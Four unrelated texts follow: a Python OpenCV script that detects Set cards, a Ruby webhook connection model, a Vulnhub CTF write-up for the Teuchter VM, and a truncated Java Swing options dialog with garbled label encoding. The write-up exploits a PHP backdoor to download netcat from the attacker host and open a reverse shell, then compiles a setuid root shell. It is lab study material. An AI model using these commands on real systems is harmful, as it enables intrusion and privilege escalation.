text:
import cv2
import numpy as np
from numpy.core.umath_tests import inner1d
from itertools import combinations
from argparse import ArgumentParser

# color tuples
BLACK = (0, 0, 0)
WHITE = (255, 255, 255)
RED = (0, 0, 255)
GREEN = (0, 255, 0)

def _main_static(imgfile, debug=False, text=False, **kwargs):
  img = cv2.imread(imgfile)
  if img is None:
    print 'Error: could not read %s' % imgfile
    return
  rects, attrs = process_image(img, **kwargs)
  if text:
    print imgfile, [' '.join(map(str, attr)) for attr in attrs]
  elif debug:
    win_name = 'debug view for ' + imgfile
    show_debug_view(img, rects, attrs, win_name=win_name)
  else:
    win_name = 'set view for ' + imgfile
    show_set_view(img, rects, attrs, win_name=win_name)

def _main_camera(debug=False, text=False, updown_key='', lr_key='',
                 page_key='', **kwargs):
  show_fn = show_debug_view if debug else show_set_view
  win_name = 'debug viewer' if debug else 'set viewer'
  cv2.namedWindow(win_name)
  vc = cv2.VideoCapture(0)

  if not vc.isOpened():
    print "Couldn't open a webcam for frame capture"
    return

  key_control = {
      2621440: (updown_key, -1),
      2490368: (updown_key, +1),
      2424832: (lr_key, -0.01),
      2555904: (lr_key, +0.01),
      2228224: (page_key, -1),
      2162688: (page_key, +1),
  }
  # remove any inactive keys
  for key, (param, _) in key_control.items():
    if param not in kwargs:
      del key_control[key]

  print 'Press escape to quit'
  got_frame, img = vc.read()
  while got_frame:
    rects, attrs = process_image(img, **kwargs)
    key = show_fn(img, rects, attrs, frame_delay=1, win_name=win_name)
    if key == 27:  # ESC
      break
    elif key in key_control:
      param, delta = key_control[key]
      if delta < 0:
        kwargs[param] = max(kwargs[param] + delta, 0)
      else:
        kwargs[param] = min(kwargs[param] + delta, 255)
      print param, kwargs[param]
    got_frame, img = vc.read(img)

  cv2.destroyAllWindows()

def process_image(img, max_dim=800, **kwargs):
  # rescale if necessary
  scale = float(max_dim)/max(img.shape[:2])
  if scale < 1:
    img = cv2.resize(img, (0, 0), fx=scale, fy=scale,
                     interpolation=cv2.INTER_AREA)

  rects, attrs = process_cards(img, **kwargs)
  # rescale rects to match original image scale
  if scale < 1:
    for rect in rects:
      rect /= scale
  # order rects by x-position
  if rects:
    centers = np.array([cv2.minEnclosingCircle(c)[0] for c in rects])
    order = np.argsort(centers[:,0])  # sort by x-position
    rects = [rects[i] for i in order]
    attrs = [attrs[i] for i in order]
  return rects, attrs

def process_cards(img, side_err_scale=0.02, min_area=1000,
                  max_corner_angle_cos=0.3, max_aspect_ratio=2, **kwargs):
  min_aspect_ratio = 1./max_aspect_ratio
  hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)

  # start by finding card rectangles in hsv space
  metric = (hsv[:,:,2].astype(int) * (255 - hsv[:,:,1])) / 255
  # Other options for metrics. TODO: find a better global solution
  # metric = (hsv[:,:,2].astype(int) * hsv[:,:,1]) / 255
  # metric = hsv[:,:,1]
  metric = metric.astype(np.uint8)

  # Otsu thresholding to split the white part of cards from non-cards
  _, mask = cv2.threshold(metric, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
  # Adaptive thresholding works when Otsu doesn't, but produces more false pos.
  # mask = cv2.adaptiveThreshold(metric, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,
  #                              cv2.THRESH_BINARY, 11, 0)
  contours, _ = find_contours(mask)

  rects = []
  attrs = []
  for cnt in contours:
    side_err_thresh = side_err_scale * cv2.arcLength(cnt, True)
    # approximate the contour with fewer edges
    cnt = cv2.approxPolyDP(cnt, side_err_thresh, True)[:,0]  # <- squeeze
    # cards need four sides
    if len(cnt) != 4:
      continue
    width, length = cv2.boundingRect(cnt)[2:]
    # check for card-like aspect ratio
    if not min_aspect_ratio < (float(width) / length) < max_aspect_ratio:
      continue
    # check for a reasonable size
    max_area = 0.8*img.shape[0]*img.shape[1]
    if not (min_area < (width * length) < max_area):
      continue
    # check for convexity
    # TODO: use convexityDefects instead of isContourConvex
    if not cv2.isContourConvex(cnt):
      continue
    # check for roughly right angles
    if angle_cos(cnt).max() >= max_corner_angle_cos:
      continue
    # now find the attributes for this card
    attr = process_one_card(img, cnt, **kwargs)
    if attr is not None:
      rects.append(cnt)
      attrs.append(attr)
  return rects, attrs

def process_one_card(img, rect, card_width=450, card_height=450, **kwargs):
  # Crop the card out of the overall image
  h = np.array([[0,0],[card_width-1,0],
                [card_width-1,card_height-1],[0,card_height-1]], np.float32)
  transform = cv2.getPerspectiveTransform(rect.astype(np.float32), h)
  card = cv2.warpPerspective(img, transform, (card_width, card_height))
  # Return the card's attributes
  return process_attributes(card, **kwargs)

def process_attributes(card, min_shape_area=0.05, max_shape_area=0.9,
                       shape_close=0, **kwargs):
  hsv = cv2.cvtColor(card, cv2.COLOR_BGR2HSV)

  # find the shapes, thresholding on high-saturation, low-value pixels
  metric = hsv[:,:,1] - hsv[:,:,2]
  # histogram(metric) is bimodal, so Otsu thresholding is ideal
  _, mask = cv2.threshold(metric, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
  # optionally do a morphological close on the mask, to fill in some gaps
  if shape_close > 0:
    k = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (shape_close,shape_close))
    mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, k)
  contours, _ = find_contours(mask)

  if not contours:
    return

  # filter out contours outside the bounds (as a fraction of total card area)
  dims = np.array([cv2.boundingRect(c)[2:] for c in contours], dtype=float)
  dims /= card.shape[:2]  # scale to [0,1] in card dimensions
  areas = np.product(dims, axis=1)
  contours = [c for a,c in zip(areas, contours)
              if min_shape_area < a < max_shape_area]

  if not contours:
    return

  # hack: use drawContours to make a mask of in-contour pixels
  mask[...] = 0
  cv2.drawContours(mask, contours, -1, 255, -1)

  # find the color (red, green, purple)
  color = card_color(card, hsv, mask)

  # XXX: re-finding the contours here
  contours, hier = find_contours(mask, cv2.RETR_TREE)
  outer_mask = hier[0,:,-1] < 0
  filling = card_filling(outer_mask)
  outer_contours = [c for i,c in enumerate(contours) if outer_mask[i]]
  shape = card_shape(outer_contours)
  return len(outer_contours), filling, color, shape

def show_debug_view(img, rects, attrs, frame_delay=-1, win_name=''):
  cv2.drawContours(img, rects, -1, GREEN, 3)
  for idx, (rect, attr) in enumerate(zip(rects, attrs)):
    label = ''.join(str(a)[:3].title() for a in attr)
    add_text(img, label, rect.min(axis=0), scale=0.5)
    add_text(img, str(idx+1), rect.mean(axis=0).astype(int) + (-5,5),
             fgcolor=BLACK, bgcolor=None, thickness=3)
  cv2.imshow(win_name, img)
  return cv2.waitKey(frame_delay)

def show_set_view(img, rects, attrs, frame_delay=-1, win_name=''):
  for i,j,k in find_sets(attrs):
    cv2.drawContours(img, (rects[i],rects[j],rects[k]), -1, GREEN, 3)
    break
  else:
    pos = (img.shape[0]/2, img.shape[1]/2 - 100)
    add_text(img, "No sets found", pos, fgcolor=RED, thickness=2)
  cv2.imshow(win_name, img)
  return cv2.waitKey(frame_delay)

def add_text(img, text, pos, font=cv2.FONT_HERSHEY_SIMPLEX, scale=1,
             bgcolor=BLACK, fgcolor=WHITE, thickness=1):
  fgpos = tuple(pos)
  if bgcolor is not None:
    bgpos = (fgpos[0] + thickness, fgpos[1] + thickness)
    cv2.putText(img, text, bgpos, font, scale, bgcolor, thickness)
  cv2.putText(img, text, fgpos, font, scale, fgcolor, thickness)

def find_sets(attributes):
  for i, j, k in combinations(xrange(len(attributes)), 3):
    for items in zip(attributes[i],attributes[j],attributes[k]):
      if len(set(items)) not in (1,3):
        break
    else:
      yield i,j,k

def card_filling(outer_mask):
  num_contours = len(outer_mask)
  num_outers = outer_mask.sum()
  if num_contours == num_outers:
    # all contours are outers
    return 'solid'
  if num_contours//2 == num_outers:
    # there's one inner for every outer
    return 'open'
  return 'striped'

def card_shape(contours, side_err_scale=0.01):
  for contour in contours:
    al = cv2.arcLength(contour, True)
    al_rect = sum(cv2.boundingRect(contour)[2:]) * 2
    if al / al_rect > 1:
      continue  # very concave!
    approx = cv2.approxPolyDP(contour, side_err_scale * al, True)
    if 4 <= len(approx) <= 8:  # a little wiggle room
      return 'diamond'
    if cv2.isContourConvex(approx):
      return 'oval'
    return 'ess'
  # all contours are very convex: try something else!
  for contour in contours:
    hull = cv2.convexHull(contour)
    al = cv2.arcLength(hull, True)
    approx = cv2.approxPolyDP(hull, side_err_scale*al, True)
    if 4 <= len(approx) <= 6:
      return 'diamond'
  return 'oval'  # or ess, not really sure here

def card_color(card, hsv, thresh):
  in_contour = hsv[thresh!=0][None]
  # magic constants! (min_hue, max_hue, min_sat)
  # TODO: replace this with a distribution-matching method
  ranges = [(25, 110, 0), (120, 255, 0), (0, 10, 60)]
  names = ['green', 'purple', 'red']
  match_score = np.zeros(3)
  for i, (min_hue, max_hue, min_sat) in enumerate(ranges):
    mask = cv2.inRange(in_contour, (min_hue, min_sat, 0), (max_hue, 255, 255))
    # score by value when in the correct hue/sat range
    # idea: low-value pixels are washed out, thus unreliable
    match_score[i] = in_contour[mask>0,2].sum()
  ci = np.argmax(match_score)
  return names[ci]

def angle_cos(contour):
  # hack in a wrap-around diff
  d = np.diff(np.pad(contour, ((0,2),(0,0)), mode='wrap'), axis=0)
  # compute normalized angles
  norm = np.linalg.norm(d, axis=1)
  return np.abs(inner1d(d[:-1], d[1:])) / (norm[:-1]*norm[1:])

def parse_args():
  ap = ArgumentParser()

  ag = ap.add_argument_group('Input Arguments')
  ag.add_argument('files', metavar='file', nargs='*',
                  help='Input image file(s).')
  ag.add_argument('--camera', action='store_true',
                  help='Use webcam input instead of static files.')

  ap.add_argument('--debug', action='store_true')
  ap.add_argument('--text', action='store_true', help='Display text output')

  ag = ap.add_argument_group('Card Detection Parameters')
  ag.add_argument('--side-err-scale', type=float, default=0.02)
  ag.add_argument('--min-area', type=int, default=1000)
  ag.add_argument('--max-corner-angle-cos', type=float, default=0.3)
  ag.add_argument('--max-aspect-ratio', type=float, default=2.)

  ag.add_argument_group('Attribute Detection Parameters')
  ag.add_argument('--min-shape-area', type=float, default=0.05)
  ag.add_argument('--max-shape-area', type=float, default=0.9)
  ag.add_argument('--shape-close', type=int, default=0)

  ag = ap.add_argument_group('Internal Parameters')
  ag.add_argument('--max-dim', type=int, default=800)
  ag.add_argument('--card-width', type=int, default=450)
  ag.add_argument('--card-height', type=int, default=450)

  ag = ap.add_argument_group('Camera-mode Key Bindings')
  ag.add_argument('--updown-key', type=str)
  ag.add_argument('--lr-key', type=str)
  ag.add_argument('--page-key', type=str)

  args = ap.parse_args()
  if not (args.files or args.camera):
    ap.error('too few arguments')
  if args.files and args.camera:
    ap.error('cannot use both static files and webcam input')
  return args

def main(camera=False, files=None, **kwargs):
  if camera:
    _main_camera(**kwargs)
  else:
    for f in files:
      _main_static(f, **kwargs)

def find_contours(img, ret_type=cv2.RETR_LIST,
                  meth_type=cv2.CHAIN_APPROX_SIMPLE):
  res = cv2.findContours(img, ret_type, meth_type)
  return res[-2:]  # smooths over opencv 2.x vs 3.0 API differences

# for debug purposes only
def hist_lines(im, arr, color=RED, vline=None):
  h = im.shape[0]
  hist_item = cv2.calcHist([arr],[0],None,[256],[0,256])
  cv2.normalize(hist_item,hist_item,0,h,cv2.NORM_MINMAX)
  hist=np.int32(np.around(hist_item))
  for x,y in enumerate(hist):
    cv2.line(im,(x,h),(x,h-y), color)
  if vline is not None:
    vline = int(vline)
    cv2.line(im, (vline, 0), (vline, h), BLACK)

if __name__ == '__main__':
  main(**vars(parse_args()))


text:
module Setup
  class Connection
    include ShareWithBindingsAndParameters
    include NamespaceNamed
    include WithTemplateParameters
    include AuthorizationHandler
    include ModelConfigurable

    build_in_data_type.referenced_by(:namespace, :name).excluding(:connection_roles)
    build_in_data_type.and(
      properties: {
        number: {
          type: 'string'
        },
        token: {
          type: 'string'
        }
      }
    ).protecting(:number, :token)

    field :url, type: String

    parameters :parameters, :headers, :template_parameters

    # trace_references :parameters, :headers, :template_parameters

    config_with Setup::ConnectionConfig

    devise :database_authenticatable

    validates_presence_of :url

    def conformed_url(options = {})
      conform_field_value(:url, options)
    end

    class << self

      def respond_to?(*args)
        args[0] == :del ||
          Setup::Webhook.method_enum.include?(args[0]) || super
      end

      def webhook_for(method, url)
        uri = URI.parse(url)
        url = if (path = uri.path).empty?
                path = '/'
                url
              else
                url[0..(url.index(uri.path))]
              end
        connection = Setup::Connection.new(url: url)
        webhook = Setup::PlainWebhook.new(method: method, path: path)
        if (query = uri.query)
          query.split('&').each do |pair|
            Rack::Utils.parse_nested_query(pair).each do |name, value|
              webhook.parameters.new(name: name, value: value)
            end
          end
        end
        webhook.with(connection)
      end

      def method_missing(symbol, *args)
        symbol = :delete if symbol == :del
        if Setup::Webhook.method_enum.include?(symbol)
          if args.length == 1 && (url = args[0]).is_a?(String)
            webhook_for(symbol, url)
          else
            fail "Invalid argument #{args} for calling #{symbol} on #{self}"
          end
        else
          super
        end
      end

    end

  end
end

redpajama_set_name: RedPajamaGithub


text:
layout: post
title:  "Teuchter Solution"
comments: true
date:   2016-11-19 00:00:00
description: Solution for the CTF Teuchter
categories:
- Capture The Flag
permalink: teuchter-solution
---

In this post I'm going to show you how to solve the Teuchter VM provided by [Knightmare][link-author].

You can find the VM on [this link][link-teuchter]

{% highlight bash %}
192.168.56.140 <== attacker
192.168.56.139 <== victim
{% endhighlight %}

I run a Nmap scan against the victim:

{% highlight bash %}
Nmap scan report for 192.168.56.139
Host is up, received arp-response (0.00037s latency).
Scanned at 2016-09-24 11:11:25 BST for 9s
Not shown: 65534 closed ports
Reason: 65534 resets
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Dinnae Pwn Ma Server... Away and Hack some bawbag else!
MAC Address: 00:0C:29:BE:56:32 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
TCP/IP fingerprint:
OS:SCAN(V=7.12%E=4%D=9/24%OT=80%CT=1%CU=38656%PV=Y%DS=1%DC=D%G=Y%M=000C29%T
OS:M=57E65157%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=I%II=I
OS:%TS=8)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O
OS:5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6
OS:=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)
{% endhighlight %}

Ok, port 80 open with Apache httpd 2.4.18 running, I open a browser to see what's running.
Hahaha, a scottish Wullie from The Simpsons.

The source code of the page has some interesting comments:

{% highlight html %}
<!-- Wullie's favourite film is the Breakfast Club -->
<!-- /gallery/ /flicks/ or /telly/ Maybe Jim Kerr can help with the music...?  -->
<!-- not a lot of people know about different extensions, such as .pht for PHP -->
{% endhighlight %}

I visit the URL http://192.168.56.139/gallery/ and I find a series of images, with comments for each on the source code.

I find http://192.168.56.139/flicks/phpinfo.pht, but it gives me an internal server error when I open it.

I do some google research and I find out that there's a particular backdoor that is affecting the .pht files, especially on the "extract" function. I get some details from this URL which explain the vulnerability: https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html

So I manage to get a reverse shell using the following URLs:

Check that the vulnerability works
{% highlight bash %}
http://192.168.56.139/flicks/phpinfo.pht?ctime=system&atime=whoami
{% endhighlight %}

I get "www-data", so it works. Time to get a reverse shell.

Download Netcat and put it "/tmp/" and make it executable
{% highlight bash %}
http://192.168.56.139/flicks/phpinfo.pht?ctime=system&atime=curl%20http://192.168.56.140/nc%20%3E%20/tmp/nc
http://192.168.56.139/flicks/phpinfo.pht?ctime=system&atime=chmod%20777%20/tmp/nc
{% endhighlight %}

Execute a reverse shell
{% highlight bash %}
http://192.168.56.139/flicks/phpinfo.pht?ctime=system&atime=/tmp/nc%20192.168.56.140%208080%20-e%20/bin/bash
{% endhighlight %}

Once got a reverse shell I look for a way to get a stable shell. There's python installed, so I spawn a shell through it:

{% highlight bash %}
locate python
/usr/bin/python3

python3 -c "import pty; pty.spawn('/bin/bash');"
{% endhighlight %}

Now that I have a shell, I go to the /home and I see that I can access to the "jkerr" page, where there's a file called "login.txt" with a hint to a password:

{% highlight bash %}
www-data@teuchter:/home/jkerr$ ls -l
ls -l
total 3932
-rw-rw-r-- 1 jkerr jkerr 3429261 Jul  2 14:29 breakfastclub.jpg
-rw-rw-r-- 1 jkerr jkerr     234 Jul  9 12:10 login.txt
-rw------- 1 jkerr jkerr  588685 Jul  9 13:22 promisedyouamiracle.jpg
www-data@teuchter:/home/jkerr$ cat login.txt
cat login.txt
Jim,

I decided to rename your account to jkerr and reset the password
you'll find it in the photo. Just remember the decode password
dosn't have a space.

If you can't figure it out, it's the new name for Jonny & the
Self-Abusers...
{% endhighlight %}

I thought there would be a password within the image, but actually it comes out that it was the name of the file, which I found out thanks also to a list of passwords generated by a wordlist retrieved from the web application. The password of jkerr was "breakfastclub", as also mentioned in the comment on the web application.

Once got into jkerr, I download the images and I see that the file "promisedyouamiracle.jpg" contains some information within the "Copyright" section which I've retrieved using "exiftool":

{% highlight bash %}
# exiftool promisedyouamiracle.jpg
ExifTool Version Number         : 10.31
File Name                       : promisedyouamiracle.jpg
Directory                       : .
File Size                       : 575 kB
File Modification Date/Time     : 2016:07:09 13:22:13+01:00
File Access Date/Time           : 2016:11:19 17:07:51+00:00
File Inode Change Date/Time     : 2016:11:17 21:51:04+00:00
File Permissions                : rw-------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
DCT Encode Version              : 100
APP14 Flags 0                   : (none)
Exif Byte Order                 : Big-endian (Motorola, MM)
Copyright                       : Z2VtaW5pCg==
Padding                         : (Binary data 2060 bytes, use -b option to extract)
Compression                     : JPEG (old-style)
[..]
Photoshop Format                : Optimized
Progressive Scans               : 3 Scans
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Rights                          : Z2VtaW5pCg==
Image Width                     : 800
Image Height                    : 600
[..]

{% endhighlight %}

The string "Z2VtaW5pCg==" is a base64 encoded string for "gemini". This is the password for the user "proclaimers".
I login as proclaimers and I get into the folder "/home/proclaimers" and see the list of files.

{% highlight bash %}
proclaimers@teuchter:~$ pwd
pwd
/home/proclaimers
proclaimers@teuchter:~$ ls -l
ls -l
total 228
drwx------ 2 proclaimers proclaimers   4096 Jul  9 12:49 500miles
-rw-rw-r-- 1 proclaimers proclaimers 225280 Nov 13 14:32 500miles.tar
drwxr-xr-x 2 proclaimers proclaimers   4096 Nov 17 21:58 letterfromamerica
proclaimers@teuchter:~$ cd letterfromamerica
cd letterfromamerica
proclaimers@teuchter:~/letterfromamerica$ ls -l
ls -l
total 172
-rwsr-xr-x 1 root root   8736 Nov 17 21:58 semaphore
-r-Sr-sr-t 1 root root     42 Jul  9 13:57 test

{% endhighlight %}

That "semaphore" file is a copy of the "dash" shell, and it has the SUID but set. At this point I suspect there must be a cronjob, so I search for something that might use "semaphore"

{% highlight bash %}
proclaimers@teuchter:~$ grep -R "semaphore" /usr/local 2>/dev/null
grep -R "semaphore" /usr/local 2>/dev/null
/usr/local/bin/numpties.sh:## Plant a semaphore in to alert the monitoring system
/usr/local/bin/numpties.sh:if /usr/bin/[ -f /home/proclaimers/letterfromamerica/semaphore ]
/usr/local/bin/numpties.sh:    /bin/chown root.root /home/proclaimers/letterfromamerica/semaphore
/usr/local/bin/numpties.sh:    /bin/chmod 4755 /home/proclaimers/letterfromamerica/semaphore

proclaimers@teuchter:~$ cat /usr/local/bin/numpties.sh
cat /usr/local/bin/numpties.sh
#!/bin/sh

## Right, time to sort out these numpties that put PHP shells on ma server!

## Steal a copy to examine later
/bin/tar czvf /root/shells.tgz /var/www/html/*.php

## Aww they dobbers with primative Egpytian Encryption can away and raffle themselves
sudo apt-get -y purge openssh-server sftp wget

## Delete the shells to annoy the eejits
/bin/rm -rf /var/www/html/*.php

## Plant a semaphore in to alert the monitoring system
if /usr/bin/[ -f /home/proclaimers/letterfromamerica/semaphore ]
  then
    /bin/chown root.root /home/proclaimers/letterfromamerica/semaphore
    /bin/chmod 4755 /home/proclaimers/letterfromamerica/semaphore
fi
{% endhighlight %}

Ok, this means that a cronob will add the SUID bit to semaphore if the file exists. I can replace the file with a script that I write where I run a bash as root:

{% highlight bash %}
$ cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}

$ gcc -o semaphore shell.c && chmod 777 semaphore
{% endhighlight %}

After a minute, I see that the new script has the SUID set, so I run it and I'm root:

{% highlight bash %}
proclaimers@teuchter:~/letterfromamerica$ ls -l
ls -l
total 172
-rwsr-xr-x 1 root root   8736 Nov 17 21:58 semaphore

proclaimers@teuchter:~/letterfromamerica$ ./semaphore
./semaphore
root@teuchter:~/letterfromamerica# id
id
uid=0(root) gid=0(root) groups=0(root),1002(proclaimers)
root@teuchter:~/letterfromamerica#

{% endhighlight %}

Got root, now it's time for a flag.

{% highlight bash %}
root@teuchter:/root# ls -l
ls -l
total 1084
-rw-r--r-- 1 root root 1094752 Jul  9 14:58 flag.jpg
-rw-r--r-- 1 root root     108 Sep 23 09:48 flag.txt
drwx------ 3 root root    4096 Aug  1 22:18 re-record-not-fade-away
-rw-r--r-- 1 root root      45 Nov 19 17:30 shells.tgz
root@teuchter:/root# cat flag.txt
cat flag.txt
I say! I say! I say boy! Y'all interested in hochmagandy again...?

Y'all know this aint the correct flag!

{% endhighlight %}

Well, tipical of Knightmare. It's not over. There's a folder called "re-record-not-fade-away". I get in and after a few folders I find a zip file:

{% highlight bash %}
---------- 1 root root 12398481 Aug  1 22:11 TeuchterESX.zip
<e-away/on/and/on/and/on/and/on/and/on/and/ariston# pwd
pwd
/root/re-record-not-fade-away/on/and/on/and/on/and/on/and/on/and/ariston
<e-away/on/and/on/and/on/and/on/and/on/and/ariston# ls -l
ls -l
total 12108
---------- 1 root root 12398481 Aug  1 22:11 TeuchterESX.zip

{% endhighlight %}

I download the zip file, which is protected by password. The password is "teuchter".

Once unzipped, theres a vmdk file called TeuchterESX.vmdk.

I mount it on my Kali machine and restart the machine, and mount it with vmfs-fuse. I find an iso within this folder, so I mount it too:

{% highlight bash %}
root@kali:~/Desktop/lab/teuchter# cd mount/
root@kali:~/Desktop/lab/teuchter/mount# ls -l
total 8
-rw------- 1 root root  180 Aug  1 21:52 hint.txt
drwxr-xr-x 2 root root 1120 Aug  1 21:52 redkola
root@kali:~/Desktop/lab/teuchter/mount# ls -l redkola/
total 2056
-rw------- 1 root root 104857600 Aug  1 21:24 redkola_1-flat.vmdk
-rw------- 1 root root       493 Aug  1 21:24 redkola_1.vmdk
-rw------- 1 root root    432128 Aug  1 21:51 redkola.iso
-rw------- 1 root root      8684 Aug  1 21:26 redkola.nvram
-rw-r--r-- 1 root root         0 Aug  1 21:08 redkola.vmsd
-rwxr-xr-x 1 root root      2147 Aug  1 21:26 redkola.vmx
root@kali:~/Desktop/lab/teuchter/mount# mkdir ../redkola_iso && cp -R redkola/ ../redkola_iso
root@kali:~/Desktop/lab/teuchter/mount# cd ../redkola_iso && mkdir mount
root@kali:~/Desktop/lab/teuchter/redkola_iso# mount -o loop redkola.iso mount/
mount: /dev/loop0 is write-protected, mounting read-only
root@kali:~/Desktop/lab/teuchter/redkola_iso# ls -l mount/
total 74
-r-xr-xr-x 1 root root 75110 Aug  1 21:38 glass_ch.jpg
{% endhighlight %}

This image is just a picture of Irn-Bru (glass cheque). There's nothing else in this folder, so I suppose there's something hidden in the image which I could retrieve using "steghide".

I read the hint into the Teutcher.vmdk that I've mounted through vmfs-fuse, and this is what I find:

{% highlight bash %}
root@kali:~/Desktop/lab/teuchter/mount# cat hint.txt
Almost there.. Check the ISO and remember password relates to the TV Advert you watched.

I took out the spaces but it's 25 characters but the Wikipedia page will get it for you.
{% endhighlight %}

I get back on the web application, and on the /telly source code there's a hint on the second video:

{% highlight html %}
<!-- noise up those crazy yanks 1st hint to a password -->
<video height="300" width="400" controls>
<source src="girders.ogv" type="video/ogg">
</video>
{% endhighlight %}

At this point I watch the video again, and at the end of the video it says "Made in Scotland from girders". I search on the wikipedia page the advertisements' titles, and the one of the video that I've watched is indeed "Made in Scotland from girders". This title, without spaces, is exactly 25 characters. so, I try to use "steghide" using the passphrase "madeinscotlandfromgirders", and I get the flag:

{% highlight bash %}
root@kali:~/Desktop/lab/teuchter# steghide extract -sf glass_ch.jpg
Enter passphrase:
wrote extracted data to "realflag.txt".
root@kali:~/Desktop/lab/teuchter# cat realflag.txt

Gaun Yersel Big Man! B-)

Congratulations for the fifth time on capturing this flag!

Yes, I know this VM has really got on your nerves, and that was the main
point...

I decided to have some fun with you, and hopefully you have learned some
new ways to look at things. You know, all this could have been avoided
if Siri just leanred what "outwith" means, I wouldn't have to build this
VM. I'm trolling you again of course!

I hope this VM was fun for you, and I'm sure you can now insult people
in another language :-)

Thanks to mrb3n who shared a joke with me and pushing me to set up a VM
for trolling everyone.

Shout-outs yet again to #vulnhub for hosting a great learning tool and
being a great inspiration to make these VMs. A special thanks goes to
mrb3n, cmaddy and GKNSB for repeated testing. Many thanks to g0tM1lk
for providing some valuable feedback and offering to host my CTF again.
                                                           --Knightmare
{% endhighlight %}

Thank you to [Knightmare][link-author] for the VM and [Vulnhub][link-vulnhub] for hosting it.
For any information or comment, please do not hesitate to leave a comment.

[link-author]: https://twitter.com/@knightmare2600
[link-vulnhub]: https://www.vulnhub.com
[link-teuchter]: https://www.vulnhub.com/entry/teuchter-03,163/


text:
package org.java.gui;

import java.awt.BorderLayout;
import java.awt.GridLayout;

import javax.swing.BorderFactory;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;

/**
 * Mining options setting dialog.
 *
 * @author ykzhang
 * @version $Revision: 1512 $
 */
public class OptionDialog extends JDialog {

	/** for serialization */
	private static final long serialVersionUID = 6393927172003237817L;

	/** The text field for minimum support. */
	private JTextField m_minSupport;

	/** The text field for minimum confidence. */
	private JTextField m_minConfidence;

	/** The minimum support label. */
	private JLabel m_minSupportLabel;

	/** The minimum confidence label. */
	private JLabel m_minConflabel;

	/** The okay button. */
	private JButton m_Ok;

	/** The cancel button. */
	private JButton m_Cancel;

	/** The button panel. */
	private JPanel m_ButtonPanel;

	/** The option panel. */
	private JPanel m_OptionPanel;

	/** The double array for mining options. */
	protected static double[] m_Options;

	/**
	 * Creates option dialog.
	 *
	 * @param jParent
	 *            the parent frame
	 */
	public OptionDialog(JFrame jParent) {

		super(jParent, true);

		if (m_Options == null)
			m_Options = new double[] { 0.2, 0.9 };

		initGUI();
		pack();
		setLocationRelativeTo(null);
		setResizable(false);
		setVisible(true);

	}

	/**
	 * Initial GUI.
	 */
	private void initGUI() {

		setTitle("²ÎÊýÉèÖÃ");
		getContentPane().setLayout(new BorderLayout());

		m_minSupportLabel = new JLabel("×îС֧³Ö¶È");
		m_minConflabel = new JLabel("×îСÖÃÐŶÈ");

		m_minSupport = new JTextField("" + m_Options[0]);
		m_minSupport.setEditable(true);
		m_minSupport.setHorizontalAlignment(JTextField.LEFT);

		m_minConfidence = new JTextField("" + m_Options[1]);
		m_minConfidence.setEditable(true);
		m_minConfidence.setHorizontalAlignment(JTextField.LEFT);

		m_OptionPanel = new JPanel();
		m_OptionPanel.setLayout(new GridLayout(2, 2, 5, 5));
		m_OptionPanel.add(m_minSupportLabel);
		m_OptionPanel.add(m_minSupport);
		m_OptionPanel.add(m_minConflabel);
		m_OptionPanel.add(m_minConfidence);
		add(m_OptionPanel, BorderLayout.CENTER);

		m_Ok = new JButton("È·¶¨");
		m_Cancel = new JButton("È¡Ïû");

		m_ButtonPanel = new JPanel();
		m_ButtonPanel.setBorder(BorderFactory.createEmptyBorder(10, 5, 10, 5));
		m_ButtonPanel.setLayout(new GridLayout(1, 4, 5, 5));
		m_ButtonPanel.add(m_Ok);
		m_ButtonPanel.add(m_Cancel);
		add(m_ButtonPanel, BorderLayout.SOUTH);

		m_minSupport.addActionListener(new java.awt.event.ActionListener() {
			public void actionPerformed(java.awt.event.ActionEvent e) {
				m_minSupport.transferFocus();
			}
		});

		m_minConfidence.addActionListener(new java.awt.event.ActionListener() {
			public void actionPerformed(java.awt.event.ActionEvent e) {
				m_minConfidence.transferFocus();
			}
		});

		m_Cancel.addActionListener(new java.awt.event.ActionListener() {
			public void actionPerformed(java.awt.event.ActionEvent e) {
				dispose();
			}
		});

		m_Ok.addActionListener(new java.awt.event.ActionListener() {
			public void actionPerformed(java.awt.event.ActionEvent e) {
				options();
				dispose();
			}
		});

	}

	/**
	 * Sets mining options. Options included the minimum support and the minimum
